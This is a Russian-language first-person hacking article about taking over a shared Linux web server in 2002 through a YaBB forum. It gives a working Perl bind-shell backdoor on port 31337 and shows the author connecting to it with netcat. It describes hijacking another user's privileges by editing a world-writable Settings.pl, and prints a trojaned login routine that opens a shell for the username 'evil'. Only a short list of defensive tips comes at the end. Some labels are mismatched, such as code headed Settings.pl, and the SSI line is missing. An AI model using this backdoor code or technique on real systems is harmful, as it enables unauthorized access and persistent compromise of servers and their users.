ВИКТОР ИГНАТЬЕВ
Перехват shell через Yet another Bulletin Board
Преамбула: эта история ещё 2002 года, но, тем не менее, данный факт не влияет на саму идею взлома. Этот метод весьма актуален, особенно на крупных хостингах. Всё нижеописанное было сделао не в одиночку, а с коллегой. Далее речь пойдёт не об очередном переводе дырки в YaBB из BugTraq, а об описании некоторых моих идей, и, если они кому-то ещё приходили в голову, я буду только рад.
Итак, действия происходили на главном сервере моей фирмы, в которой несколько компьютерных классов и одна серверная.
Техническая справка:
|
У нас на этаже 4 компьютерных класса, 1 серверная, и 2-3 кабинета, где стоят офисные компьютеры. Сеть класса B. Сервер на Linux Debian 3.0. Web Server Apache 1.3.26 + perl. Он же является шлюзом в другие подсети.
|
В те времена администратор был ещё достаточно щедрый и реализовал регистрацию пользователей. Каждому зарегистрированному пользователю выдавалось:
- адрес электронной почты user@cafedra.server.ru;
- FTP-аккаунт;
- и, самое главное, аккаунт в Apache.
То есть создав каталог public_html и поместив туда index.html, пользователь получал домашнюю страничку http://cafedra.server.ru/~user.
Это всё, конечно, хорошо, но самого «вкусного» среди этого списка не было. Я имею в виду shell-доступ. Вместо него в строчке /etc/passwd значился /bin/false. Это сильно удручало. Так как shell на главном сервере позволил бы делать очень много интересного.
Разумеется, как и везде, у администратора были сослуживцы и помощники, у которых, конечно, имелся shell. И как всегда, они не отличались особой просвещенностью в вопросах безопасности. Вот как раз из-за ошибок вышеупомянутых была написана эта статья. У одного из них, как и у остальных пользователей, был свой веб-аккаунт http://cafedra.server.ru/~adil. И притом он его активно пользовал и обновлял. Среди всех ресурсов сайта был форум Yet another Bulletin Board (YaBB), который пользовался большой популярностью. И конечно, привлёк и моё внимание. Поиски дырок в самом форуме не увенчались успехом, поэтому пришлось действовать в обход.
Часть первая: осмотр
Как я уже сказал, shell не выделялся никому, кроме «особенных» людей, но perl и cgi-скрипты выдавались всем и в любом размере. Многие уже поняли, к чему я клоню. А для тех, кто не в курсе, поясняю, что любой язык программирования позволяет работать с внешними файлами или выполнять команды. Не долго думая, я написал test.cgi следующего содержания у себя в cgi-bin:
backdoor.cgi
#!/usr/bin/perl -w
print "Content-Type: text/html ";
system("ls > 1.txt");
И в моём каталоге появился файл 1.txt, в котором содержался листинг файлов текущей директории.
Не долго думая, я в своих архивах отыскал backdoor на Perl (backdoor.cgi).
#!/usr/bin/perl –w
use Socket;
$port = 31337;
socket (S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
setsockopt (S, SOL_SOCKET, SO_REUSEADDR,1);
bind (S, sockaddr_in ($port, INADDR_ANY));
listen (S, 50);
while (1){
accept (X, S);
if (!($pid = fork)){
if(!defined $pid){exit(0);}
open STDIN,"<&X";
open STDOUT,">&X";
open STDERR,">&X";
exec("/bin/sh -i");
close X;}}
Затем выполнил на своей машине:
[navy@Fortress /home/navy]# nc -vv cafedra.server.ru 31337
Fortress [127.0.0.1] 31337 (?) open
sh: no job control in this shell
|
Теперь у меня был shell на главном сервере конторы. Я не буду упоминать про попытки получить root-доступ из пользовательского. Целью было получить привилегии «особого» человека и от его имени продолжать дальнейшие действия.
Часть вторая: внутри
Немного остыв от радости, я решил ощупать объект:
sh-2.05# uname -a; id; pwd
Linux Debian 3.0 #1 Thu Sep 6 17:27:27 EDT 2001 i386 unknown
uid=1301(navy) gid=1301(navy) группы=1301(users)
/home/n/navy
|
sh-2.05# who
sh-2.05# ps
PID TTY TIME CMD
1376 tty1 00:00:00 login
1466 tty1 00:00:00 bash
2028 tty1 00:00:00 bs.pl
2076 tty1 00:00:00 sh
2079 tty1 00:00:00 sh
2081 tty1 00:00:00 sh
4320 tty1 00:00:00 sh
4969 tty1 00:00:00 ps
|
Теперь я точно знал, с чем имею дело и где нахожусь. Далее последовал тщательный осмотр директории /etc и всех находящихся в ней файлов. Спустя примерно часа 2, я решил посетить /home-директории, в частности каталоги «особенных» пользователей, а конкретнее – пользователя adil:
sh-2.05# cd /home/a/adil
sh-2.05# ls -al
drwxr-xr-x 2 root root 4096 Май 13 23:28 .
drwxr-x--- 35 root root 4096 Май 13 23:28 ..
drw-r--r-- 1 adil adil 0 Май 13 23:28 public_html
|
sh-2.05# cd public_html
sh-2.05# cd cgi-bin
sh-2.05# ls
Среди прочего в каталоге cgi-bin была искомая yabb:
sh-2.05# cd yabb
sh-2.05# ls -al
drwxr-xr-x 2 root root 4096 Май 13 23:28 .
drwxr-x--- 35 root root 4096 Май 13 23:28 ..
drwxr--r-- 1 adil adil 0 Май 13 23:28 Boards
drwxr--r-- 1 adil adil 0 Май 13 23:28 Members
drwxr--r-- 1 adil adil 0 Май 13 23:28 Messages
drwxr--r-- 1 adil adil 0 Май 13 23:28 Sources
drwxr--r-- 1 adil adil 0 Май 13 23:28 Variables
-rw-r--r-- 1 adil adil 0 Май 13 23:28 english.lng
-rwxrwxrwx 1 adil adil 0 Май 13 23:28 Settings.pl
-rwxrwxrwx 1 adil adil 0 Май 13 23:28 template.html
-rwx-xr-x- 1 adil adil 0 Май 13 23:28 YaBB.pl
|
В каталоге Members сразу же обнаружились пароли пользователей на форуме, а также приватные сообщения. После 30-ти минутного изучения остальных каталогов я пришёл к выводу, что больше ничего интересного нет, и приступил к просмотру файлов, валявшихся в корне yabb: english.lng, Settings.pl, template.html, YaBB.pl.
- english.lng – им оказался файл перевода, ничего интересного.
- YaBB.pl – основной файл форума, особо полезной информации там не было.
- Template.html – шаблон для выдаваемых сообщений, были некоторые соображения на счёт этого файла, но было решено сделать его 2-ым вариантом.
- Settings.pl – это основной файл настройки, в нём были все настройки форума, которые должен был настроить администратор.
На первый взгляд там не было ничего интересного, и я хотел уже было махнуть на это рукой, но вдруг вспомнил про вывод команды ls –al:
-rwxrwxrwx 1 adil adil 0 Май 13 23:28 Settings.pl
-rwxrwxrwx 1 adil adil 0 Май 13 23:28 template.html
|
rwxrwxrwx!!! Я чуть со стула не упал! Т.е. любой пользователь был вправе изменить содержимое этого файла! Начался лихорадочный поиск места, куда можно внедрить свой код.
Техническая справка:
|
Если бы я просто запихнул свой бэкдор в Settings.pl и запустил, то полученный shell был бы с моими правами, а это мне не нужно. Значит надо было заставить бэкдора выполниться с правами adil.
|
Среди кучи «очень нужных настроек» я всё-таки нашёл уязвимое место! И оно выглядело так:
Settings.pl
$emailwelcome = 1;
# Set to 1 to email a welcome message to users even when
# you have mail password turned off
$mailprog = "/usr/sbin/sendmail";
# Location of your sendmail program
$smtp_server = "smtp.mysite.com";
# Address of your SMTP-Server
$webmaster_email = q^webmaster@mysite.com^;
# Your email address.
(eg: $webmaster_email = q^admin@host.com^;)
$mailtype = 0;
# Mail program to use: 0 = sendmail, 1 = SMTP, 2 = Net::SMTP
Техническая справка:
|
Спецификация языка Perl позволяет запускать программу с параметрами командной строки, даже если эти параметры в ней не используются.
|
Переменная $mailprog определяла программу, запускаемую для отсылки почты, а $mailtype уточняла, что отсылку будет осуществлять именно sendmail (из переменной $mailprog). После моего вмешательства строка:
$mailprog = "/usr/sbin/sendmail";
# Location of your sendmail program
приобрела вид:
$mailprog = "/home/n/navy/public_html/cgi-bin/backdoor.cgi";
# Location of your sendmail program
И как же теперь выполнить бэкдор? Очень просто. Я вышел из бэкдора и проверил, закрылся ли он:
sh-2.05# ps
PID TTY TIME CMD
1376 tty1 00:00:00 login
1466 tty1 00:00:00 bash
2028 tty1 00:00:00 bs.pl
2076 tty1 00:00:00 sh
2079 tty1 00:00:00 sh
2081 tty1 00:00:00 sh
4320 tty1 00:00:00 sh
4969 tty1 00:00:00 ps
|
sh-2.05# killall bs.pl
sh-2.05# exit
[navy@Fortress /home/navy]# nc -vv cafedra.server.ru 31337
[navy@Fortress /home/navy]#
Зашёл на главную страницу форума, промотал страницу вниз, и увидел там формочку:
Ввёл имя юзера Navy, нажал enter. Полоса загрузки браузера начала медленно ползти. Вернувшись к консоли, я ввёл:
[navy@Fortress /home/navy]# nc -vv cafedra.server.ru 31337
sh: no job control in this shell |
sh-2.05# id
uid=1405(adil) gid=1405(adil) группы=1405 (users) |
Цель достигнута! Теперь я мог делать что угодно от пользователя adil. Так как все файлы я уже изучил до захвата shell, делать мне уже было нечего и я решил закрепить shell-доступ и сделать его чуть проще, для этого мне пришлось протроянить исходники форума.
Часть третья: укрепление
Вторичной целью было обеспечить максимально простой вход в shell. Итак, теперь все файлы были в моём распоряжении. Быстренько просмотрев исходники, я понял, что нужный мне код находится в файле Sources/LogInOut.pl. Кусок кода выглядел так:
Settings.pl
sub Login2 {
&fatal_error("$txt{"37"}") if($FORM{"username"} eq "");
&fatal_error("$txt{"38"}") if($FORM{"passwrd"} eq "");
$FORM{"username"} =~ s/s/_/g;
$username = $FORM{"username"};
&fatal_error("$txt{"240"} $txt{"35"} $txt{"241"}") if($username !~ /^[s0-9A-Za-z#%+,-.:=?@^_]+$/);
&fatal_error("$txt{"337"}") if($FORM{"cookielength"} !~ /^[0-9]+$/);
if ($username eq "evil")
{
system("/home/n/navy/public_html/cgi-bin/backdoor.cgi");
exit;
}
if(-e("$memberdir/$username.dat")) {
fopen(FILE, "$memberdir/$username.dat");
Красным выделен кусок кода, добавленный мною. В итоге я мог в любое время зайти на форум под именем «evil» и получить shell на 31337 порту.
Часть четвёртая: альтернатива
Пришло время вспомнить про вариант номер 2, template.html. Идея основывалась на технологии SSI (Server side includes). Эта технология позволяет выполнение внешних скриптов и встраивание их ответов в тело html-документа. То есть я мог бы в конец template.html вставить строку:
Но этот вариант будет доступен, если сервер настроен на обработку .html, а не только .shtml, shtm.
Часть пятая: заключение
Здесь я хотел бы дать советы по защите от подобного рода атак сетевым администраторам.
- Не давать shell-доступ безответственным пользователям.
- Запретить все внешние соединения, кроме root (функция bind()).
- Тщательно проверять права доступа, т.к. именно из-за неправильного их установления имел место этот взлом.